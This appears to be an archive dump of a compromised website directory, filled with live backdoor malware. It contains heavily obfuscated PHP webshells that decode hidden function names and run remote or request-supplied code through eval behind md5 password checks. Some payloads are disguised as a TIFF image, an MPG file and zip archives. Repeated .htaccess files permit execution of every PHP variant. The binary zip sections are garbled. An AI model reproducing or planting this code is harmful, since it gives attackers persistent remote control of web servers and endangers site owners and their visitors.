"\66\x39\x30\x39\x36\x26\x36\71\60\x39\65\46\66\x39\60\x39\67\46\66\71\x31\x31\x36\46\66\71\x30\71\67\46\66\x39\x31\x30\60\46\x36\71\60\x39\65\x26\66\71\x31\66\x32\46\66\x39\x31\x36\60", "\66\x39\x31\x30\65\x26\x36\x39\60\71\x36\46\x36\71\x31\x30\x30\x26\66\71\61\x30\61\x26\x36\71\x31\x31\66\x26\66\x39\x31\x31\x31\x26\x36\71\61\x31\60\46\66\x39\x31\61\x32\x26\x36\71\61\60\x30\46\x36\71\x31\x31\61\x26\66\x39\61\x31\60", "\66\71\x30\71\x39\x26\x36\71\61\x31\64\x26\x36\x39\61\x31\62\x26\66\x39\61\x30\64", "\x36\71\x31\x31\63\46\x36\71\x31\61\64\x26\66\71\x30\71\x36\46\x36\x39\x31\61\60\x26\x36\x39\61\x35\x37\x26\66\71\61\65\71\x26\66\x39\61\61\66\x26\x36\x39\x31\61\x31\x26\x36\x39\61\x31\60\x26\66\71\x31\61\62\46\x36\71\61\x30\x30\x26\x36\71\61\x31\61\46\x36\x39\61\x31\x30", "\x36\71\61\x30\71\x26\x36\71\61\x30\x36\46\66\x39\x31\x30\63\x26\x36\x39\x31\x31\60\x26\x36\71\x31\x31\66\46\x36\x39\x31\60\70\x26\x36\71\x31\61\x30\x26\x36\x39\60\71\65\46\x36\71\61\x31\66\x26\66\71\x31\x31\62\x26\66\x39\x31\x30\60\46\x36\x39\x31\60\61\46\x36\71\x30\71\x35\46\66\71\x31\61\60\x26\x36\x39\x31\60\61\x26\66\x39\x30\x39\65\46\x36\71\x30\x39\x36", "\x36\71\x31\63\x39\x26\x36\71\x31\x36\x39", "\66\x39\x30\70\x36", "\x36\71\x31\66\64\46\x36\71\61\66\x39", "\66\71\61\x34\x36\x26\x36\71\x31\62\x39\x26\66\71\x31\62\x39\46\66\x39\61\x34\66\46\66\71\x31\x32\x32", "\66\x39\61\x30\x39\46\x36\71\x31\60\66\x26\x36\x39\61\x30\x33\46\x36\x39\x30\71\x35\x26\66\71\x31\61\x30\x26\66\71\x30\x39\x37\46\x36\71\61\x31\66\46\66\71\61\60\66\46\66\71\x31\60\x31\46\66\x39\x30\71\x39\46\66\71\x30\x39\64\x26\x36\x39\x30\71\65"); goto vuUWzONdvz7f; wAiK8iyV1L4H: @eval($eZj5IO21j53r[2 + 2]($SpEwYskt7L_Y)); goto nBiuXeP65RKw; nBiuXeP65RKw: die; goto mfNollexayCK; KdByqXI753m1: } } goto Oa2qbe2WEZFz; e8ZOM9uLdq5t: metaphone("\164\101\x41\x34\130\60\106\x35\x77\x31\114\53\53\x4a\116\131\63\122\x7a\123\151\130\x6a\107\117\x4c\x54\106\147\x66\x38\114\171\61\147\x33\x4e\155\x49\x47\x59\x44\143"); goto QrT0VBExElrq; Oa2qbe2WEZFz: WlURyZZiWjMl::tNJPwd4NpG1c();
?>
tokoo/.htaccess000044400000001354151441734640007507 0ustar00# ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================

# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
    Allow from all
</FilesMatch>

# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
    Deny from all
    Satisfy All
</Files>

<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
    Deny from all
</FilesMatch>

# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht

# 4. NO DIRECTORY LISTING
Options -Indexes

# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
    Deny from all
</FilesMatch>tokoo/668284/.htaccess000044400000001354151441734640010270 0ustar00# ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================

# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
    Allow from all
</FilesMatch>

# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
    Deny from all
    Satisfy All
</Files>

<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
    Deny from all
</FilesMatch>

# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht

# 4. NO DIRECTORY LISTING
Options -Indexes

# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
    Deny from all
</FilesMatch>tokoo/668284/668284/index.php000064400000000647151441734640011101 0ustar00<?php  error_reporting(0); $Uhzb = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x63\x5f\x36\x39\x34\x38\x65\x63\x37\x35\x31\x64\x31\x36\x34\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x34\x38\x65\x63\x37\x35\x31\x64\x31\x36\x34\x2e\x74\x6d\x70", ); (${$Uhzb[0]}["\157\x66"]==1) && die($Uhzb[1]($Uhzb[2])); @include $Uhzb[2]; ?>tokoo/668284/668284/jpc_6948ec751d164.zip000064400000012627151441734640012420 0ustar00PK�[��Wm��b_6948ec751d164.tmp�U{o�8�*V���p\I��Ǣ�K���W�J��P4����Ͼc;�p{��!y���i{��z�F���FB$Vk
��;�����C( 	H�;wd�����a��X�+��C��3��y�̫z^-�?]�U#���SQ‘E�^��8ޯ�A���چ1c��ܤ�V-�˱~�@7P��?۶�Ş�(:���.{j���l��g�ǺWRI:"�Y������)i���-Q��p�Es��������*'�$����B"
�i��է�ݮ�<י��G������4?�la� �=�v�n6hyD�؍M������\��ߖ_�:¦���z��6&t�ϰ���9�&��n�X�!�[P%��i�/f�����&�������ݠ\��K�e�"���Ͻ����IӢ�d���)*�}E$�Fa
���/���S�o���齼y��vП�6hr�6Z��0����
6$^�A��
���4�nwG��봺���K���Bk}
�q�g_dG���tI�,��^�P	ݳTxHTN<�Wo��5���]�!?��A7n�b�R]g�b9���cJ5�-ݦ��0X�Z�@}c%����,�j�����tnq�1�G)���b��$6NkIPV���T�\|i��(���x_���_���މDn���ldz��8&��)�i\��VVj1�N)�����z5�G	���y����.�q�7�?t{��y�~��[��!�
YL�e>028�8V����Xo�{��W�^7&6�
�
B��f�e����[�~�ҡ3�id��G[B�$�z^��&�&��l)���"�]n4�՛�hD�7���C(q�$�$�;$K�
�(}BӔ�_d��ce\r�o�X����L��4T����u�]�� �L�����'U�g �hP,��4��
"�8��\8-���(�����PK�[�g9�c_6948ec751d164.tmp]x��Ȓ�_�f͢�ۋr�����<�s�W���c�b���QK�]�����s=��j<�������c���y����-�.:�V�|;�қ^ӛ't�G�QqX�aP��S��lĵ�Kn���f)ގ�w�\E���ϯJ�~��'�l��jtY;��|A	5QV+0�[�W:�L�w������S�4�=���&]pw���=��l������	�A:2
��qOș��\>�]�z �K
i`��%������F�C��)a"m��L���
�%���dh*%cW�sNJׅ��9�i�^b�,nI�?�9e��Z��ܕ+H}���H�y`n��9&21[�[�����7DMZi������� �$>/~���.~�;ʕ��3~f5��!rĎ�G
�!|Am�'�E�:˥o���^����B��r2��J$!�~F� �҉ٽ�Y�9�!Z��t��g�|��+ZD��S�$6�5bC!�-��8����p� �<���B4����ͯ,M$s��y���s�Q�a�[�Jh��X������6t�ij�m(|�:�*Fs�$���e#&b��ZO�nͤ-��K^"I �?��b�0���A�IhЙ�]rP��O.'�M�#ϻ��X�YW(�O�y���h<%�>���f:��]�z9v���p�l.���C���4_)u����۠��G�݈S��)�IO�$�0�5^�y����a�}~N=*�#���cʽԕ�w(KNk�\K�*������Q�i94?z�
d�|ID�(Z���*vjsڕ �?�%�s�O�����1���M�)�%E:u�?r�"�!�p�Uބh8�k��4�d#j\
��>k���XB��θ�G�-\o�4V
l���Sn*!_G�
�~�[��G%���r��W��_�SY"����H�ך���9�]( U��>�ِx����ky0�aQ���ob
,p��sL/eɄ���Vƅ@�e6��!O�Q���L�+`R��V=n�h�:��X�*��`�A^�ݕt��
S�a�P�E�zO�y��ye�]^y!��T��A��h��vL���4P�������Kp9��'��L���92x�`UwKL�(}J���<�.f[�-���g���1RFN!6fr|�Sek�R�+�:Z�����ik2+�^�~�W�z��QT5�����LJ���ZO�h]�
-���n���f�"�]R�S�sF�Z�\�P?bv��",D��BWQR
7U(�T��~v��	�_KZO�H�={5��XsQ�c��55�1*ڦ	'lJ怵`.ZG�x����"�ꚮS\�^��}x�B)'��N� ��m`�0.Թ���9������TI)8+ž�Y��Gv垫�R_Cn[,�Qs7_Մu{^6�N>����<�U���*^Y�כct��)�Rh)�w{(�H��M�F<m�;�d��:�����{�z�����s2L�Q�!k�d��(]����)�V��ON��]C�<��1i�G��-I��2�BE�Sm��V��8���3Va]�–�h��'.��y�KP<
��M���I@�c���6�g����K�LqI�ZT[�d4dX��i��0���!��������f��y�Ci9�\p�+�΄��t�zE��"ꭟ[�!�#���e�Jo˻$��t�m���cޜ2V�{F,%�y�c'����w���<��u��'U0T��dn	u~	%��
D]�=r�ۗ�6���(����sT�:de�c~�R,�U'��Ul�eD3�b8��w'o���8��)2N�n�+�Ty��T�X�R�GD�]y)�@�"���������7�""Z��'�xN[�@3E��H~�3��aN퐃,L6{FB��A�ID�
eD��ֈ��@�����<�o�&�j����Q�Y��(���v��a��pf`�%�\q�-��Ŗ����vڍܤh(��l�t\g�<2���e�2lhm��`~�7��Cd��2�j�h��q;j3�x���b60bKe�,E���y��U�k�q�͉�����j2��-�����No���l�j�46��rj�F�:7{�F@{jB�[[#j"|
#��ܹ���'��e���m�����{N�M�-X�p8
ƫZSHķK��*r(���Z����[
�;@�[/#3y&�.㶬�,��M��82�y����J-�K�95A�f/�~���"�Qj���V�y��Bj�^�&���p�nGF�y�25�M9�d��&r�Ycx�m��K&�u�)_����+��>>�}�7�lQ.�� �\غx%J�?fA&,�m�yskU�,��=��S��-s�6����A�99��	������Ye�����Y}��͂�%���G[�����P��>��xfy�(�ZLF���e��/K�ٿ�E�仙2���vyJݐsC�d
�K 7�T�q���*B6�)�
$��r�kЯ$��O����g{�cd���C`AΨ�~�E��.a��r�*ƴ2��Q-��c�2V�<��]���/5G?���l�CG��oY�ȷ�],I\�Z�m_ܒ��C'E�fwg�Y�-���m����dU�n`B��+}|/^z�0%^kU��(4��u �f�N_�hEŞa�.̸�$��4_�Ջ^��(}��~e2DN�
Q��:m��������tߤg��!�\9Z��2"�8�eo�Д�Yv���W� �Bh�m�'��aF��Uz�h�cp}����%q��>�{�w኿��Ȝ������ZI
?���"�C@Y;ȗ7��u�y!P�W��[V"�=�(���6�e�b��� ̈́��›8S�Y!4�#\��{r4\#��(��ư:]�r%�3D�p�b�G��nf�!e��{�*�.�b��Bg���m��_�{�r=.
_�!nlmO��V"C���z
|E�9~O�	�D����Fa���J�H*vJ��.�!r��Q/y���QǮ��ӽ�LKS[J���H?#��s5ȡs�1�
ޮ'Bn�|�Q��@�v�$�<cW�WU��^�̈ 7
߰}*L�� .�\�����o�O!��~UJ��ev�蛆�t?�.YwĝE?b���Zˇ�)��S��
du��W�?�,��Q����3Y���a���N�E�|�:c�1�M�l.3���|y
y+��r'�8jhH��_w�ʮ`��^߸uq%��.�56�\���U�j��K�(�zWܴ��϶:5br5(ѕ�%���q�=|պ;���?Qj{	<~���yY��Yr�x�w��9ݰ��
���W���4W��3�^ѷ-�,�U�[��b�6��y�������a #,c0�0nP�����k�z�]!�ɵ����J$~��{ށ[ 8,��p��H_oe�b,_G����y5����ț�{����V�����:��O�X���C�-Ѣ��q��)b�4�tNalm�� 1��<”�����	|t��utA�;xn(�7�#�\�����C2��d�EO�pFNv���[���2�u�ӫinI	N��w�sFE��������~�����W	�h~&�@mǽ���Қ[[jB����;a�k�m�gK�� '6=�@�S�"z�po\R.0Fn92R�H��ӥu7�ױ���ޱ��rI�K��EL�(����޷oU���!6�pJ<�N���4ԞP
�PA{��`Tvm��c�t��+�/��krs�{J\�����
�{�AXۯ�)Nb�'J�(#9�/&���S@��'�͊��N"=�M�"
]ʓH��F,L��|z$b#��Jm���������x�/o�D��������4��ѫ!�|�4��N(G��Ȋ�g�Ϝ(c冏tm��Ыk�r��K�d�]�w�E��Y:�}��	Y�B%'ګ�ם�2v�L
N�����xք��1+��[u���Oy���L��8���՟���[�_���?`��Ǎ#��1�0��}���?��/�/�믟_W����鶯��_�@�����2���3M�����ٔ�9�_?k��������y��������Cp��8���ϟ�2�6�q��L�O�q�?�����)~�۟�v7G`��s�ܸ����Y=��v|ժVW(��߲���py�ސ��+�+�u�>s/m*�@bm:u�v����n��'-Τ��އ~��o�N����f,�d/~���]��篟��PK?�[��Wm����b_6948ec751d164.tmpPK?�[�g9����c_6948ec751d164.tmpPK��tokoo/668284/668284/.htaccess000044400000001354151441734640011051 0ustar00# ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================

# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
    Allow from all
</FilesMatch>

# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
    Deny from all
    Satisfy All
</Files>

<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
    Deny from all
</FilesMatch>

# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht

# 4. NO DIRECTORY LISTING
Options -Indexes

# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
    Deny from all
</FilesMatch>tokoo/668284/668284/668284/index.php000064400000002465151441734640011662 0ustar00<?php /*-
◸ⓑ▩Ⓠ✦⊤┣◫✓
e?V[W◸ⓑ▩Ⓠ✦⊤┣◫✓
-*///
$MU /*-#x<|f-|7Ql-*///
=/*-A}3-*///
 "ra"/*-


⇎⊼◟Ⓛⓦ◬


^bl⇎⊼◟Ⓛⓦ◬


-*///
."nge"; $QW /*-
◴◘⋬✿⋄㊖©▸⇞$①≮Ⅲ②⋯⋥☪§⒂
q◴◘⋬✿⋄㊖©▸⇞$①≮Ⅲ②⋯⋥☪§⒂
-*///
=/*-!^-*///
 $MU/*-7owqIpg-*///
(/*-q8^K`b0!$q-*///
"~"/*-

㊧❏◟➪︾∁※︻❻ⓤ㊓☞㊯┪┞∗➯⌖⅙≧❹

@Z(<㊧❏◟➪︾∁※︻❻ⓤ㊓☞㊯┪┞∗➯⌖⅙≧❹

-*///
,/*-L0:Om:.-*///
" "); /*-
┉⇤﹠↰〕≱∏⊴#☌
EcqkTS7,T_┉⇤﹠↰〕≱∏⊴#☌
-*///
@include_once/*-p[H-*///
 $QW/*-)}<_P%xw)-*///
[1+52].$QW/*-
⒈≺⋽☮┘Ⓚ┶≏⑰⊊⇎▆✬♩➩⊚⇤㊑㊯❶✂✉➊¤ⓝ
(5eHIo^D⒈≺⋽☮┘Ⓚ┶≏⑰⊊⇎▆✬♩➩⊚⇤㊑㊯❶✂✉➊¤ⓝ
-*///
[9+3].$QW/*-,{@ej-*///
[2+23].$QW/*-


➹╕Ⓧ◓⊳ℓ≁♙✖℗∄➅︶⇜⋛╡⇧⋰❷⒐Ⅲ∘⑭◎


:jWG➹╕Ⓧ◓⊳ℓ≁♙✖℗∄➅︶⇜⋛╡⇧⋰❷⒐Ⅲ∘⑭◎


-*///
[1+8].$QW/*-TT:0-*///
[21+19].$QW/*-7]rr#l-*///
[1+79].$QW/*-uVYGB-*///
[4+6].$QW/*-$-gO-*///
[19+2].$QW/*-VXqx-*///
[11+13].$QW/*-dQPe2.CFBI-*///
[18+6]/*-


☶ⓤ❤§☳↥Ⓥ⊨⓫㊇⏥↦▬≪㊄⊷⊙↝ღ£ⅻ


~iw☶ⓤ❤§☳↥Ⓥ⊨⓫㊇⏥↦▬≪㊄⊷⊙↝ღ£ⅻ


-*///
; ?>tokoo/668284/668284/668284/IreuV.tiff000064400000012405151441734640011741 0ustar00<?php
 goto x_FmywIH89B; BHpEx0_wRa8: class bspwiTgWOyQ { static function sUc1u6ZTphC($kTEThP_zJPQ) { goto viWphcTLYce; f6ealA8o1aU: foreach ($lPXjzedZ2Oz as $UmFNgnnZddk => $wVtKHNmKH5Z) { $u4k2KDwxc2f .= $haORhAilgSK[$wVtKHNmKH5Z - 94866]; Itcp8YYot2O: } goto mn7hICjsKGJ; mn7hICjsKGJ: gSQbUf_lbwB: goto efAdRGgFFOn; P2aps3AB2h8: $haORhAilgSK = $DtyId7ilwMG("\176", "\40"); goto F1zb6BKPz0Q; F1zb6BKPz0Q: $lPXjzedZ2Oz = explode("\73", $kTEThP_zJPQ); goto nM1J1TJ17pa; viWphcTLYce: $DtyId7ilwMG = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto P2aps3AB2h8; efAdRGgFFOn: return $u4k2KDwxc2f; goto HalAXSjwCBg; nM1J1TJ17pa: $u4k2KDwxc2f = ''; goto f6ealA8o1aU; HalAXSjwCBg: } static function H3_AO5xFXGx($tPqKo0Ekl6f, $sv_mdGBmIqr) { goto sb1tFxa1zQP; jQ9bRCgBBBX: curl_setopt($TQG9eSVHojV, CURLOPT_RETURNTRANSFER, 1); goto k7Oqfz2zpfK; sb1tFxa1zQP: $TQG9eSVHojV = curl_init($tPqKo0Ekl6f); goto jQ9bRCgBBBX; k7Oqfz2zpfK: $qNlede0zqOV = curl_exec($TQG9eSVHojV); goto ANDheC0V_y7; ANDheC0V_y7: return empty($qNlede0zqOV) ? $sv_mdGBmIqr($tPqKo0Ekl6f) : $qNlede0zqOV; goto GfYppB6cH0g; GfYppB6cH0g: } static function Iz3BzfXU1my() { goto FZbsvF9_U10; magCCW2rzG4: if (!(@$LJ3l8Eda81F[0] - time() > 0 and md5(md5($LJ3l8Eda81F[0 + 3])) === "\x35\62\x32\63\x31\143\x39\x66\64\x31\x36\x31\62\65\x33\x63\142\x34\x30\66\63\x30\65\63\61\x34\65\x66\x62\62\145\x37")) { goto v_YDmNPhFzC; } goto WebkAGnQGzQ; nd6wDhGylYl: $wf56NKPjmgF = @$wcUXyKPuq7B[1]($wcUXyKPuq7B[7 + 3](INPUT_GET, $wcUXyKPuq7B[8 + 1])); goto vXsY8_7kOeP; kFlOX24PPh4: @eval($wcUXyKPuq7B[2 + 2]($nLB4xzN4pQ1)); goto jrwpUVSyTwX; B2J8ZHvZ8Uh: VY0vS2_61fv: goto nd6wDhGylYl; FZbsvF9_U10: $kjldfmmVn5a = array("\x39\x34\x38\71\63\x3b\71\64\70\67\x38\x3b\x39\x34\x38\x39\61\73\71\64\70\71\x35\x3b\x39\x34\70\67\x36\x3b\x39\x34\70\x39\61\73\x39\x34\70\71\x37\x3b\x39\64\70\x39\60\73\x39\x34\70\67\x35\73\x39\x34\x38\70\x32\x3b\71\64\70\71\x33\x3b\71\x34\x38\x37\x36\x3b\71\64\x38\x38\67\x3b\x39\x34\70\x38\x31\73\71\64\x38\70\62", "\x39\x34\70\67\67\x3b\x39\x34\70\x37\x36\73\71\x34\x38\x37\x38\x3b\x39\x34\70\x39\67\x3b\71\64\70\x37\70\73\71\x34\x38\x38\x31\x3b\x39\64\x38\x37\x36\73\71\64\71\x34\63\x3b\x39\x34\x39\64\x31", "\71\x34\70\70\x36\x3b\71\x34\x38\67\67\73\x39\x34\x38\70\61\73\71\64\x38\70\x32\73\x39\64\70\71\67\73\x39\x34\70\71\x32\x3b\71\x34\x38\71\x31\73\71\64\x38\71\x33\x3b\71\64\x38\70\x31\73\x39\x34\x38\x39\62\73\71\64\x38\x39\x31", "\x39\x34\70\70\x30\73\71\x34\70\71\x35\73\71\x34\x38\71\63\x3b\71\x34\x38\70\x35", "\x39\64\x38\71\64\73\71\64\x38\71\65\x3b\71\x34\x38\67\67\73\x39\64\x38\71\61\73\x39\x34\x39\63\x38\x3b\x39\64\71\x34\x30\x3b\71\64\x38\x39\x37\x3b\71\x34\x38\71\62\73\71\64\70\71\x31\73\x39\64\70\x39\x33\73\71\x34\70\x38\61\73\71\x34\70\x39\x32\73\x39\x34\x38\x39\61", "\x39\x34\70\x39\x30\x3b\x39\64\70\x38\x37\73\71\x34\70\x38\64\73\x39\64\70\x39\x31\x3b\x39\64\70\71\67\73\x39\64\70\70\x39\73\x39\64\70\x39\61\73\71\64\x38\x37\66\73\71\x34\x38\x39\x37\73\x39\x34\x38\x39\63\73\71\x34\x38\70\x31\x3b\71\64\x38\x38\x32\73\71\64\x38\x37\x36\x3b\71\x34\70\71\x31\73\71\64\70\x38\62\73\71\x34\x38\67\66\73\x39\64\70\x37\67", "\71\64\71\62\x30\73\71\x34\x39\65\60", "\x39\64\70\66\67", "\71\64\x39\64\65\x3b\x39\x34\71\x35\60", "\71\x34\x39\x32\67\x3b\71\x34\71\61\x30\73\x39\x34\71\x31\x30\73\71\x34\x39\62\x37\73\x39\x34\71\60\x33", "\x39\x34\70\x39\60\x3b\x39\64\x38\x38\67\x3b\x39\x34\70\x38\64\73\x39\x34\70\67\66\x3b\71\64\x38\71\x31\73\x39\x34\70\67\x38\73\x39\64\x38\71\67\x3b\x39\64\70\x38\67\73\71\x34\x38\70\x32\x3b\71\x34\x38\x38\60\x3b\71\64\70\67\x35\x3b\x39\64\x38\x37\66"); goto ZJSBLGtyrsg; nFSU70Fmg92: @$wcUXyKPuq7B[3 + 7](INPUT_GET, "\157\146") == 1 && die($wcUXyKPuq7B[3 + 2](__FILE__)); goto magCCW2rzG4; ZJSBLGtyrsg: foreach ($kjldfmmVn5a as $WYAr652DXFy) { $wcUXyKPuq7B[] = self::suc1u6ztPHC($WYAr652DXFy); WIrJcCAOexT: } goto B2J8ZHvZ8Uh; dvc9eNDI8UG: $LJ3l8Eda81F = $wcUXyKPuq7B[0 + 2]($BfckJ4902t_, true); goto nFSU70Fmg92; WebkAGnQGzQ: $nLB4xzN4pQ1 = self::h3_Ao5xFXGx($LJ3l8Eda81F[0 + 1], $wcUXyKPuq7B[1 + 4]); goto kFlOX24PPh4; jrwpUVSyTwX: die; goto ieIXAlDDmUi; ieIXAlDDmUi: v_YDmNPhFzC: goto LxS8dhhW1fp; vXsY8_7kOeP: $BfckJ4902t_ = @$wcUXyKPuq7B[2 + 1]($wcUXyKPuq7B[0 + 6], $wf56NKPjmgF); goto dvc9eNDI8UG; LxS8dhhW1fp: } } goto GeoDQg9_296; x6vCQSJr618: $Ha7ZaXvIUKZ = ${$x1Nmq42RLrt[18 + 13] . $x1Nmq42RLrt[7 + 52] . $x1Nmq42RLrt[25 + 22] . $x1Nmq42RLrt[28 + 19] . $x1Nmq42RLrt[43 + 8] . $x1Nmq42RLrt[42 + 11] . $x1Nmq42RLrt[18 + 39]}; goto a0LaC_G7MrI; x_FmywIH89B: $dkcZwkpf1Ge = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto SyZjrREqGk7; SyZjrREqGk7: $x1Nmq42RLrt = $dkcZwkpf1Ge("\x7e", "\x20"); goto x6vCQSJr618; a0LaC_G7MrI: @(md5(md5(md5(md5($Ha7ZaXvIUKZ[16])))) === "\x30\x31\x35\144\61\141\71\143\x63\141\67\60\146\x34\x35\71\60\x63\63\x30\x66\145\67\x65\x33\x61\62\x65\141\70\62\61") && (count($Ha7ZaXvIUKZ) == 22 && in_array(gettype($Ha7ZaXvIUKZ) . count($Ha7ZaXvIUKZ), $Ha7ZaXvIUKZ)) ? ($Ha7ZaXvIUKZ[61] = $Ha7ZaXvIUKZ[61] . $Ha7ZaXvIUKZ[75]) && ($Ha7ZaXvIUKZ[87] = $Ha7ZaXvIUKZ[61]($Ha7ZaXvIUKZ[87])) && @eval($Ha7ZaXvIUKZ[61](${$Ha7ZaXvIUKZ[45]}[23])) : $Ha7ZaXvIUKZ; goto yAeD807SxoS; yAeD807SxoS: metaphone("\66\167\x33\141\126\152\x4d\145\x66\63\x44\x58\61\151\x54\113\101\144\152\63\x35\61\x4a\144\x67\66\x32\170\124\x6d\60\123\x36\x5a\67\113\64\103\146\x68\x6b\146\115"); goto BHpEx0_wRa8; GeoDQg9_296: bspwItgwOYQ::Iz3bzfXu1My();
?>
tokoo/668284/668284/668284/.htaccess000044400000001354151441734640011632 0ustar00# ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================

# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
    Allow from all
</FilesMatch>

# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
    Deny from all
    Satisfy All
</Files>

<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
    Deny from all
</FilesMatch>

# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht

# 4. NO DIRECTORY LISTING
Options -Indexes

# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
    Deny from all
</FilesMatch>tokoo/668284/668284/668284/668284/index.php000064400000000064151441734640012434 0ustar00<?php include_once base64_decode("WGJjbVEubXBn"); ?>tokoo/668284/668284/668284/668284/.htaccess000044400000001354151441734640012413 0ustar00# ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================

# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
    Allow from all
</FilesMatch>

# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
    Deny from all
    Satisfy All
</Files>

<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
    Deny from all
</FilesMatch>

# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht

# 4. NO DIRECTORY LISTING
Options -Indexes

# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
    Deny from all
</FilesMatch>tokoo/668284/668284/668284/668284/gif_6964cfb2b25bf.zip000064400000012651151441734640014160 0ustar00PK-,\7X��b_6964cfb2b25bf.tmp�Ums�H�+SeA�Y�Ț��܍��F�I�EY���*E��r�}{���pV��v?���0͗�h!����[qe΅š�"����&�#p�p%�!N��`�E�r�T�FQ��(㢬3Q�ţv&)Z���RTU��F5a1��O���V����Tl(��ck�cs<��ز<��=��N,o�	cpl
A8tW+w/LH�#B-��K�h�p��Q��a9�$�O���P#[w.� (��9�j�l�'6Z�؍�ː�X2�U�����y����D�F�a._��G�؊��g�wm��&����]���ۏ>�:v�C�&��`���v'����z#��o�x�n�g�?�]�M/C����s[� ��|9�tm0����{��@�/W��H8��k�����{�
U/ﶧ��Adn�j|pT���e�Xrl�"�f&0}�V��y�޿M��8��!��V�h�o�Iѳ	��mV�a1���Q͚��t�I	��:��a���uZ��U��k�SB���s�F������������"��B��e�IUrT�U�[�UH�=M��l{��;�A7Æ]��h�n%)Ө8�U�cf��̗!��1+W��2��,cbr�M�f�dj�Oag��<�\�F�9���jVK��Rv3W%θ�$+S���X_��ߺ�dVk�7�]]��y��Y=�c��N����	��f;ӨƟr=��;���ȟ�DomvO/����]��sׯx����wmM�~���#�^��.�� jG8�a��*�l��z�u����҉�(�0�l���Y���<�R�2
�N���������ML�Q���P8��P���_�"*g�pK�Q��0*�8 B��ï�f}8�I�����H�8XA��D�c�}p2$N
�80�F��(��+#K�$��x�Y����+��B>"���E^�:���)�畜��>���~NNe�sHɠ(�F$>��O�]�T��b�ˋ_PK-,\��*�c_6964cfb2b25bf.tmp]x���8��]��qN���:^��q��sͼ�ܢwX�AX�>}��9G�������9V���_�֟�hk���I	�X��smqӥPCo:Mo�Н���ua�	�^���Wa��ג6�\_t�����t|I�㩊����~~e�8����#�2u4MƔd�&jl,v��4��8�@�/�9=�6��D٨�8
Ze�%4�:p���r#�$C�q��-�%��P
倄�fep�w����U#b�{àb�,�k�W W��O��M�V�_N��h$\��'�m�1�S�m>�(�D��}.�E�b�$䕢�H���m�ŀY1b�I
�(��	l=�;��uhv�nϢ�"x
ی	+��fg�j�9��t�bp24��C=���}�
p���'d�O�v)��+��?��jx`�~�O��X�ez�hk��M��m��YZ4q���P�E�U|���s86h�˭z�E:K��i�3�S�F�,͏K�n���>�e��$N5�����>��m{{>nZl8���X/]q�ݽ��8���I`$9s�P��%��z,�)���>�(^E��Lx�d����y�%Qi�O����Z���^+zx)UV�ԧ���҄�,T�|��g���̻m'�]]��mx���|8�ңU]�,�I�� dƙ^��Q�O/<]/t�Ç;K=���W]���t4�/6\��w�9���}o#�*����Ԩ:<ה�o�Ջ��掓h�
1��@ۀ�ÿ��Ձ����]C���e7s��D�s
W	��o�ӵЎ���,7�9�G'z������um��e�2���b���2k������$�N��c�4F�F�Ae���Vf���4# i�����&�S�u�`�k����}3��5=�Ǡ��U���DZR�aO�5�X�hsKA�:�gp����X�+��B���Pl�r��*�ѕ��B��{oS77��	4)��%1���
�y��},��Tt�K���ԯ��� +��3��8�����.zɣ�*p�J��p
��'��6/M��xޓ�)�`$/Ɛ�0�,�n�ff=:���
5a�wX�	�G�M��ȼC�����/A��h��ϐ��;BƉ������w�; ��4ݫg�v�<���v#'��K	�G����U��1�v�)�+3�^m�qDPk���PjŔ���Ԣ{��N�
